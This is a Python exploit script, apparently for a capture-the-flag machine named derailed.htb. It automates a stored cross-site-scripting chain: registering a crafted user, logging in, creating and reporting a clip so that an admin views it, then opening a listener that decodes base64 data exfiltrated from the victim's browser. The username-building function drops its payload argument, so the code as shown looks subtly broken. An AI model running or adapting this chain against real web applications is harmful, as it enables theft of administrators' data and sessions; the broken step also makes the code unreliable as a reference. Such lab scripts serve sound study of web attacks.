#!/usr/bin/env python import sys import requests import base64 import re import urllib.parse from http.server import BaseHTTPRequestHandler, HTTPServer ## http server handler and method class S(BaseHTTPRequestHandler): def do_GET(self): result = self.path.split('exfil?')[1] print('Success.\n', file=sys.stderr) print(base64.b64decode(result).decode('utf-8')) def runhttpd(server_class=HTTPServer, handler_class=S, port=8888): server_address = ('', port) httpd = server_class(server_address, handler_class) print('Starting httpd... Wait.', file=sys.stderr) try: httpd.handle_request() except KeyboardInterrupt: pass print('Stopping httpd...', file=sys.stderr) ## check arguments and return file name def checkArgs(): if len(sys.argv) == 1: print(f"Usage: {sys.argv[0]} payload_file.js") exit() return sys.argv[1] ## read and base64 encode the XSS payload def readPayload(filename): try: with open(filename,'r') as file: f = file.read() f = bytes(f, "utf-8") print("Loaded .js payload...", file=sys.stderr) return base64.b64encode(f).decode("utf-8") except: print("Failed to open payload file") exit() ## pad username and add XSS trigger. Return url encoded. def getUsernameAndPayload(xssPayload): username = f"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" payload = urllib.parse.quote_plus(username) return payload ## grab token and cookie def getSession(url, h=''): r = requests.get(url, headers=h) csrfToken = re.search('name="authenticity_token" value="([^"]+)"', r.text).group(1) sessionCookie = r.headers['Set-Cookie'] headers = {"Cookie":sessionCookie} return csrfToken, headers ## send POST requests def sendRequest(url, payload='', h=''): ## get a Cookie and authenticity_token csrfToken, headers = getSession(url, h) ## processing carious endpoints if '/register' in url: data = f'authenticity_token={csrfToken}&user%5Busername%5D={payload}&user%5Bpassword%5D=fluff&user%5Bpassword_confirmation%5D=fluff' errorMsg = 'Failed to register.' successMsg = 'Registration successful...' elif '/login' in url: data = f'authenticity_token={csrfToken}&session%5Busername%5D={payload}&session%5Bpassword%5D=fluff&button=' errorMsg = 'Failed to login.' successMsg = 'Login succesful...' elif url.endswith(':3000'): url = url + '/create' data = f'authenticity_token={csrfToken}¬e%5Bcontent%5D=a&button=' errorMsg = 'Failed to create a clip.' successMsg = 'Clip created...' elif '/report' in url: headers['Referer'] = url url = url.replace('/' + payload, '') data = f'authenticity_token={csrfToken}&report%5Breason%5D=a&report%5Bnote_id%5D={payload}' errorMsg = 'Failed to report a clip.' successMsg = 'Clip reported to admin...' ## Send a request r = requests.post(url, data=data, headers=headers, allow_redirects = False) ## Check for success or failure if r.status_code != 302: print('Something went wrong. ' + errorMsg, file=sys.stderr) exit() else: print(successMsg, file=sys.stderr) return r if __name__ == "__main__": ## Check argv, and load a js file. ## Base64 and URL encoded jsFile = checkArgs() b64xssPayload = readPayload(jsFile) payload = getUsernameAndPayload(b64xssPayload) ## Attempt to register register = sendRequest('http://derailed.htb:3000/register', payload=payload) ## Attempt to login login = sendRequest('http://derailed.htb:3000/login', payload=payload) loggedInCookie = {"Cookie":login.headers['Set-Cookie']} ## Attempt to create a clip clip = sendRequest('http://derailed.htb:3000', h=loggedInCookie) noteId = re.search('clipnotes/(\d+)', clip.text).group(1) print('Clip ID: ' + noteId, file=sys.stderr) ## Attempt to report a clip sendRequest('http://derailed.htb:3000/report/'+noteId, payload=noteId) print('Awaiting callback...', file=sys.stderr) ## Run http server and handle GET requests runhttpd()